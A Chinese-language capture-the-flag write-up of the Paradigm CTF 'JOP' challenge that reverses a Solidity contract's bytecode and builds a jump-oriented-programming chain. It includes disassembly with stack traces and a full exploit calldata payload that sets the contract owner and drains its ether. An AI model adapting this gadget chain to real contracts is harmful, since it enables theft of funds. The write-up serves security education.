ParadigmCTF JOP

Retr_0 2022-02-18 12:26:00

0x00 背景

考点就是JOP(Jump Oriented Programming),这种攻击方式首次应该是出现在RW 2019的决赛上,是首席提出的一种全新攻击方式。然后断断续续在qwb final和其他比赛中也出现过相关的赛题。相对来说是智能合约中较为复杂的一种利用方式。

0x01 分析题目

赛题合约如下:

pragma solidity 0.7.6;

import "private/Challenge.sol";

interface ChallengeInterface is IERC20 {
    function buyTokens() external payable;

    function owner() external view returns (address);
}

contract Setup {
    ChallengeInterface public challenge;

    constructor() public payable {
        require(msg.value == 50 ether);

        challenge = ChallengeInterface(address(new Challenge(990, 1010)));
        challenge.buyTokens{value: msg.value}();
    }

    function isSolved() public view returns (bool) {
        return  challenge.owner() == 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD &&
                challenge.balanceOf(address(this)) == 0 &&
                address(challenge).balance == 0;
    }
}

可以看到其引入了一个challenge合约,然后创建的时候给了2个参数,并且用50ether 来buytoken, flag获得条件是首先需要让owner为特定的黑洞地址,然后 challenge合约中发行代币owner持有0,且 challenge合约无存款。

我们构建目录如下

之后部署Setup.sol的时候传入50eth就可以了,然后赛时是没有给出private中的源码,所以我们这里也提取chall.sol的字节码进行逆向分析。

首先我们可以定位到setup.sol中进行的buytoken方法。

我们可以看到:

else if (var0 == 0xd0febe4c) {
            // Dispatch table entry for buyTokens()
            var1 = 0x0774;
            var2 = 0x0ed0;

            if (msg.sender == storage[0x05] / 0x0100 ** 0x01 & 0xffffffffffffffffffffffffffffffffffffffff) {
            label_1CB2:

                if (tx.gasprice < 0x2e90edd000) {
                    var3 = 0x1d39;
                    var4 = msg.value;
                    // Error: Could not resolve jump destination!

这里给出了一个jump 跳转的位置不确定,或者说无法处理。代表这里可能存在着一种跳转方法。

同时可以想到:如果可控的话是不是就能造成一些危害?

我们跟一下label_1CB2:

label_1CB2:
    // Incoming jump from 0x1C26, if 0xffffffffffffffffffffffffffffffffffffffff & msg.sender == 0xffffffffffffffffffffffffffffffffffffffff & 0xffffffffffffffffffffffffffffffffffffffff & storage[0x05] / 0x0100 ** 0x01
    // Incoming jump from 0x1CB1
    // Inputs[1] { @1CB9  tx.gasprice }
    1CB2    5B  JUMPDEST
    1CB3    64  PUSH5 0x2e90edd000
    1CB9    3A  GASPRICE
    1CBA    10  LT
    1CBB    61  PUSH2 0x1d0f
    1CBE    57  *JUMPI
    // Stack delta = +0
    // Block ends with conditional jump to 0x1d0f, if tx.gasprice < 0x2e90edd000


label_1D0F:
    // Incoming jump from 0x1CBE, if tx.gasprice < 0x2e90edd000
    // Inputs[2]
    // {
    //     @1D13  msg.value
    //     @1D19  storage[0x0b]
    // }
    1D0F    5B  JUMPDEST
    1D10    61  PUSH2 0x1d39
    1D13    34  CALLVALUE
    1D14    60  PUSH1 0x0b
    1D16    60  PUSH1 0x00
    1D18    90  SWAP1
    1D19    54  SLOAD
    1D1A    90  SWAP1
    1D1B    61  PUSH2 0x0100
    1D1E    0A  EXP
    1D1F    90  SWAP1
    1D20    04  DIV
    1D21    80  DUP1
    1D22    15  ISZERO
    1D23    61  PUSH2 0x1f51
    1D26    02  MUL
    1D27    17  OR
    1D28    67  PUSH8 0xffffffffffffffff
    1D31    16  AND
    1D32    63  PUSH4 0xffffffff
    1D37    16  AND
    1D38    56  *JUMP
    // Stack delta = +2
    // Outputs[2]
    // {
    //     @1D10  stack[0] = 0x1d39
    //     @1D13  stack[1] = msg.value
    // }
    // Block ends with unconditional jump to 0xffffffff & 0xffffffffffffffff & (0x1f51 * !(storage[0x0b] / 0x0100 ** 0x00) | storage[0x0b] / 0x0100 ** 0x00)

这里就是他的跳转区。 在0x1d0f中 他的跳转指向。0xffffffff & 0xffffffffffffffff & (0x1f51 * !(storage[0x0b] / 0x0100 0x00) | storage[0x0b] / 0x0100 0x00) 我们这里直接从他的opcode执行开始算最后的跳转即可。

    1D0F    5B  JUMPDEST        栈上内容
    1D10    61  PUSH2 0x1d39      0x1d39
    1D13    34  CALLVALUE       0x1d39 call_value
    1D14    60  PUSH1 0x0b       0x1d39 call_value 0x0b
    1D16    60  PUSH1 0x00       0x1d39 call_value 0x0b 0x00  
    1D18    90  SWAP1           0x1d39 call_value 0x00 0x0b
    1D19    54  SLOAD           0x1d39 call_value 0x00 storage[0x0b]
    1D1A    90  SWAP1           0x1d39 call_value storage[0x0b] 0x00
    1D1B    61  PUSH2 0x0100      0x1d39 call_value storage[0x0b] 0x00 0x0100
    1D1E    0A  EXP             0x1d39 call_value storage[0x0b] 0x01
    1D1F    90  SWAP1            0x1d39 call_value 0x01 storage[0x0b]
    1D20    04  DIV             0x1d39 call_value storage[0x0b]
    1D21    80  DUP1            0x1d39 call_value storage[0x0b] storage[0x0b]
    1D22    15  ISZERO          0x1d39 call_value storage[0x0b] 0
    1D23    61  PUSH2 0x1f51     0x1d39 call_value storage[0x0b] 0 0x1f51
    1D26    02  MUL           0x1d39 call_value storage[0x0b] 0
    1D27    17  OR           0x1d39 call_value storage[0x0b] 
    1D28    67  PUSH8 0xffffffffffffffff     0x1d39 call_value storage[0x0b] 0xffffffffffffffff  
    1D31    16  AND         0x1d39 call_value storage[0x0b][:8](byte)
    1D32    63  PUSH4 0xffffffff     0x1d39 call_value storage[0x0b][:8](byte) 0xffffffff
    1D37    16  AND                 0x1d39 call_value storage[0x0b][:4]
    1D38    56  *JUMP            跳转位置为storage[0x0b]的后4字节

所以我们急需找到一个能写storage[0x0b]的地方,

看到这里

可惜是internal

找个能直接调用的。

可以看到这个函数在外部可被调用,然后给了2个参数,要求var1=0 也就是not payable. 然后至少Msg.data要有至少一个机器字长

然后传参0x04,和一个0x20. 其中storage[0x0b]=msg.data[0x04:0x24] 也就是第一个值。前4字节是selector.

到此我们已经可以完全掌控跳转了。

0x02寻找跳转

我们通过栈帧分析可以看到,他带了一个参数跳转到nextfunc 然后nextfunc会跳转回0x1d39.

0x1d39

LABEL 1D39:
    1D39    5B    JUMPDEST
    1D3A    56    *JUMP

nextFunc的返回值必定在0x1d39下方,因为这样才可以Jump到0x1d39实现函数返回。

所以需要寻找合适的函数,也就是带一个参数且有返回值。

我们可以轻易地看到一个格格不入的满足条件的函数

 function func_19FC(var arg0) returns (var r0, var arg0, var r2, var r3) {
        r2 = 0x00;
        r3 = r2;
        var var2 = 0x00;
        var var3 = var2;
        var temp0 = arg0;
        var var4 = msg.data[temp0:temp0 + 0x20];
        var var5 = msg.data[temp0 + 0x20:temp0 + 0x20 + 0x20];
        var var6 = msg.data[temp0 + 0x40:temp0 + 0x40 + 0x20];
        var var7 = msg.data[temp0 + 0x60:temp0 + 0x60 + 0x20];

        if (var5 <= 0x00 << 0x00) {
            var temp11 = memory[0x40:0x60];
            memory[temp11:temp11 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
            var temp12 = temp11 + 0x04;
            var temp13 = temp12 + 0x20;
            memory[temp12:temp12 + 0x20] = temp13 - temp12;
            memory[temp13:temp13 + 0x20] = 0x12;
            var temp14 = temp13 + 0x20;
            memory[temp14:temp14 + 0x20] = 0x736967436865636b2f722d69732d7a65726f0000000000000000000000000000;
            var temp15 = memory[0x40:0x60];
            revert(memory[temp15:temp15 + (temp14 + 0x20) - temp15]);
        } else if (var6 <= 0x00 << 0x00) {
            var temp6 = memory[0x40:0x60];
            memory[temp6:temp6 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
            var temp7 = temp6 + 0x04;
            var temp8 = temp7 + 0x20;
            memory[temp7:temp7 + 0x20] = temp8 - temp7;
            memory[temp8:temp8 + 0x20] = 0x12;
            var temp9 = temp8 + 0x20;
            memory[temp9:temp9 + 0x20] = 0x736967436865636b2f732d69732d7a65726f0000000000000000000000000000;
            var temp10 = memory[0x40:0x60];
            revert(memory[temp10:temp10 + (temp9 + 0x20) - temp10]);
        } else if (var6 > 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0 << 0x00) {
            var temp1 = memory[0x40:0x60];
            memory[temp1:temp1 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
            var temp2 = temp1 + 0x04;
            var temp3 = temp2 + 0x20;
            memory[temp2:temp2 + 0x20] = temp3 - temp2;
            memory[temp3:temp3 + 0x20] = 0x12;
            var temp4 = temp3 + 0x20;
            memory[temp4:temp4 + 0x20] = 0x736967436865636b2f6d616c6c6561626c650000000000000000000000000000;
            var temp5 = memory[0x40:0x60];
            revert(memory[temp5:temp5 + (temp4 + 0x20) - temp5]);
        } else if (var7 >= 0x1b) {
            r3 = var7;
            arg0 = var5;
            r2 = var6;
            r0 = var4;
            return r0, arg0, r2, r3;
        } else {
            r3 = var7 + 0x1b;
            arg0 = var5;
            r2 = var6;
            r0 = var4;
            return r0, arg0, r2, r3;
        }
    }

我们发现他会消耗一个参数用来充当offset,然后从data中拷贝4个uint32的值到栈上,

然后通过他的返回值 我们就可以实现重复调用函数来构造栈的效果

0x00 d0febe4c //buyToken()
0x04 0000000000000000000000000000000000000000000000000000000000000004//offset
0x24 00000000000000000000000000000000000000000000000000000000000019FC//var4 = label_19FC
0x44 0000000000000000000000000000000000000000000000000000000000000084//var5 = next_offset
0x64 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff//var6 = payload1
0x84 000000000000000000000000000000000000000000000000000000000000001a//var7 = payload2

通过buyToken中其跳转就可以访问到 19FC这段gadget,然后开始消耗整个的calldata从而产生效果。我们能够通过这种方法从而每次写入2个值到栈上,在栈上部署好整个的跳转以及calldata最后调用开始位置就可以完成整个gadget的利用。也就是整个JOP。

那么我们开始寻找gadget.

本文参考链接:https://learnblockchain.cn/article/2860#Paradigm-CTF---JOP

第一个条件是需要修改合约owner为定值,找到设置nextOwner的地方,为storage[0x06]

label_102A:
    102A    5B  JUMPDEST        jumpback deadbeaf
    102B    80  DUP1            jumpback deadbeaf deadbeaf
    102C    60  PUSH1 0x06      jumpback deadbeaf deadbeaf 0x06
    102E    60  PUSH1 0x00      jumpback deadbeaf deadbeaf 0x06 0x00
    1030    61  PUSH2 0x0100    jumpback deadbeaf deadbeaf 0x06 0x00 0x0100
    1033    0A  EXP             jumpback deadbeaf deadbeaf 0x06 0x01
    1034    81  DUP2            jumpback deadbeaf deadbeaf 0x06 0x01 0x06
    1035    54  SLOAD           jumpback deadbeaf deadbeaf 0x06 0x01 s[06]
    1036    81  DUP2            jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0x01
    1037    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
                                jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0x01 0xff
    104C    02  MUL             jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0xff
    104D    19  NOT             jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0x11..00
    104E    16  AND             jumpback deadbeaf deadbeaf 0x06 0x01 0
    104F    90  SWAP1           jumpback deadbeaf deadbeaf 0x06 0 0x01
    1050    83  DUP4            jumpback deadbeaf deadbeaf 0x06 0 0x01 deadbeaf
    1051    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
                                jumpback deadbeaf deadbeaf 0x06 0 0x01 deadbeaf 0xff
    1066    16  AND             jumpback deadbeaf deadbeaf 0x06 0 0x01 deadbeaf
    1067    02  MUL             jumpback deadbeaf deadbeaf 0x06 0 deadbeaf
    1068    17  OR              jumpback deadbeaf deadbeaf 0x06 deadbeaf
    1069    90  SWAP1           jumpback deadbeaf deadbeaf deadbeaf 0x06
    106A    55  SSTORE          jumpback deadbeaf deadbeaf
    106B    50  POP             jumpback deadbeaf
    106C    50  POP             jumpback
    106D    56  *JUMP

这里直接借用上文中的内容了。我觉得这个过程最好是利用多变量方法进行检测,首先假设除去最后的jumpback外还需要很多个变量。然后检查每个变量的使用会不会导致gadget错误。以及保证我们的逻辑正常,比如这里我们想要得到的是能成功SSTORE 0x06这个位置的数据。所以使用jumpback + 0xdeadbeef2个参数就可以成功满足条件了。

所以这里的data就应该是:

0x00 d0febe4c //buyToken()
0x04 0000000000000000000000000000000000000000000000000000000000000004//offset
0x24 00000000000000000000000000000000000000000000000000000000000019FC//var4 = label_19FC //让其重新回到19FC 让他能够再次往栈中存数据
0x44 00000000000000000000000000000000000000000000000000000000000000a4//var5 = next_offset
0x64 000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf // 栈中成功存下的数据
0x84 000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback //栈中成功存储数据

利用这种办法我们就可以往内存中存入2个数据 一个是我们要设置的addr 还有一个就是下一个JUMP地点。

然后再次寻找清空合约余额的点:

此时上述文章就出现了一些错误,参数部署产生了很多问题。因为最后他的参数已经出现一些问题了。

label_197B:
    197B    5B  JUMPDEST    back7 back6 back5 back4 back3 back2 back1 
    197C    60  PUSH1 0x60  back7 back6 back5 back4 back3 back2 back1 0x60
    197E    91  SWAP2       back7 back6 back5 back4 back3 0x60 back1 back2
    197F    50  POP         back7 back6 back5 back4 back3 0x60 back1
    1980    5B  JUMPDEST    
    1981    50  POP         back7 back6 back5 back4 back3 0x60
    1982    50  POP         back7 back6 back5 back4 back3
    1983    90  SWAP1       back7 back6 back5 back3 back4
    1984    50  POP         back7 back6 back5 back3 
    1985    80  DUP1        back7 back6 back5 back3 back3
    1986    61  PUSH2 0x19f7 back7 back6 back5 back3 back3 0x19f7
    1989    57  *JUMPI
label_19F7:
    19F7    5B  JUMPDEST    back7 back6 back5 back3 
    19F8    50  POP         back7 back6 back5
    19F9    50  POP         back7 back6
    19FA    50  POP         back7
    19FB    56  *JUMP

比如这里 他19F7开始就少了一个back3 而且这里完全没考虑到之前的栈。感觉已经出现了错误。

我直接将samczsun的payload全部的数据部署弄下来做一个解释:

每四个数据中第一个为写入到内存中的数据。最后四个数据为跳板。

因为这里没算函数Selector 所以偏移都多4

0x000    0x0000000000000000000000000000000000000000000000000000000000000774 // JUMPDEST STOP
0x020    0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x040    0x00000000000000000000000000000000000000000000000000000000000000c4 // 偏移
0x060    0x0000000000000000000000000000000000000000000000000000000000000cf1 // 
    0CF1    5B  JUMPDEST temp
    0CF2    60  PUSH1 0x00 temp 0x00 
    0CF4    80  DUP1 temp 0x00 0x00 
    0CF5    60  PUSH1 0x00 temp 0x00 0x00 0x00
    0CF7    80  DUP1 temp 0x00 0x00 0x00 0x00
    0CF8    61  PUSH2 0x0d00  temp 0x00 0x00 0x00 0x00 0x0d00
    0CFB    85  DUP6 temp 0x00 0x00 0x00 0x00 0x0d00 temp 
    0CFC    61  PUSH2 0x19fc temp 0x00 0x00 0x00 0x00 0x0d00 temp 0x19fc
    0CFF    56  *JUMP
跳转到 0x19fc
0x080    0x000000000000000000000000da0bab807633f07f013f94dd0e6a4f96f8742b53 // address(this)
0x0a0    0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x0c0    0x0000000000000000000000000000000000000000000000000000000000000144 // 偏移
0x0e0    0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上


0x100    0x000000000000000000000000000000000000000000000002b5e3af16b1880044 // 清空余额用的余额
0x120    0x0000000000000000000000000000000000000000000000000000000000000ede //  JUMPDEST JUMP
0x140    0x00000000000000000000000000000000000000000000000000000000000001c4 // 偏移
0x160    0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上


0x180    0x000000000000000000000000000000000000000000000000000000000000191b // 清空余额处gadget
0x1a0    0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x1c0    0x0000000000000000000000000000000000000000000000000000000000000244 // 偏移
0x1e0    0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上


0x200    0x000000000000000000000000d7acd2a9fd159e69bb102a1ca21c9a3e3a5f771b // setup 的地址
0x220    0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x240    0x00000000000000000000000000000000000000000000000000000000000002c4 // 偏移
0x260    0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上


0x280    0x000000000000000000000000000000000000000000000a7b667f19c28bf00000 // setup 余额
0x2a0    0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x2c0    0x0000000000000000000000000000000000000000000000000000000000000344 // 偏移
0x2e0    0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上


0x300    0x0000000000000000000000000000000000000000000000000000000000001757 // 清空对应地址余额
0x320    0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x340    0x00000000000000000000000000000000000000000000000000000000000003c4 // 偏移
0x360    0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上


0x380    0x0000000000000000000000000000000000000000000000000000000000000c4a // 设置 Owner 
0x3a0    0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x3c0    0x0000000000000000000000000000000000000000000000000000000000000444 // 偏移
0x3e0    0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上


0x400    0x000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead // 设置的地址
0x420    0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x440    0x00000000000000000000000000000000000000000000000000000000000004c4 // 偏移
0x460    0x0000000000000000000000000000000000000000000000000000000000000cf1 //同上


0x480    0x000000000000000000000000000000000000000000000000000000000000102a //设NEXTOWNERgadget
0x4a0    0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x4c0    0x0000000000000000000000000000000000000000000000000000000000000544 // 偏移
0x4e0    0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上


0x500    0x0000000000000000000000000000000000000000000000000000000000000ede // 
    0EDE    5B    JUMPDEST
    0EDF    56    *JUMP
0x520    0x0000000000000000000000000000000000000000000000000000000000000ede
    0EDE    5B    JUMPDEST
    0EDF    56    *JUMP
0x540    0x0000000000000000000000000000000000000000000000000000000000000ede
    0EDE    5B    JUMPDEST
    0EDF    56    *JUMP
0x560    0x0000000000000000000000000000000000000000000000000000000000000ede
    0EDE    5B    JUMPDEST
    0EDF    56    *JUMP

利用下方数据举例。
```asm=
0x000 0x0000000000000000000000000000000000000000000000000000000000000774 // JUMPDEST STOP
0x020 0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x040 0x00000000000000000000000000000000000000000000000000000000000000c4 // 偏移
0x060 0x0000000000000000000000000000000000000000000000000000000000000cf1 //

之后往下走一直到下个跳转看栈上跳转点是哪里
![](https://md.buptmerak.cn/uploads/upload_b1c0a24b8f9f54a5123862beb8dc31d5.png)
可以看到他会跳1d39
这里是我们之前说过的
```asm=
jump 
jumpdest
jump

每次那个Push函数结束都会跳。

然后接着跳栈上我们之前存的0xcf1,也就是最后还会跳回到0x19fc开始下一波calldata存取

一直到最后存EDE

开始从EDE JUMP

消耗完EDE后 栈空间为

从102A,这里开始部署 Storage[6],
然后跳c4a.c4a是取了storage[6]的nextOwner设置为了Owner
然后从c4a跳转 1757
这里是消耗了
这里的钱款.
最后跳转 191b

消耗address(chal)的钱款。
然后由于这里进行了11次19fc 所以要多11个0x4 wei
最后跳转774 是一个STOP.中止执行并回到最初的上下文,也就是payload中继续进行。
也就是完成了所有的执行。

总的来说是非常难的一道题,第一个是gadget寻找,第二个就是部署的时候要如何部署这个跳转让他合理。以及找gadget也可以找很多相对简单的。不要去自己为难自己。后续希望能够做出比赛中这种类型的题(x

评论

Retr_0

Noooooooooooob

twitter weibo github wechat

随机分类

SQL注入 文章:39 篇
Android 文章:89 篇
业务安全 文章:29 篇
渗透测试 文章:154 篇
安全开发 文章:83 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录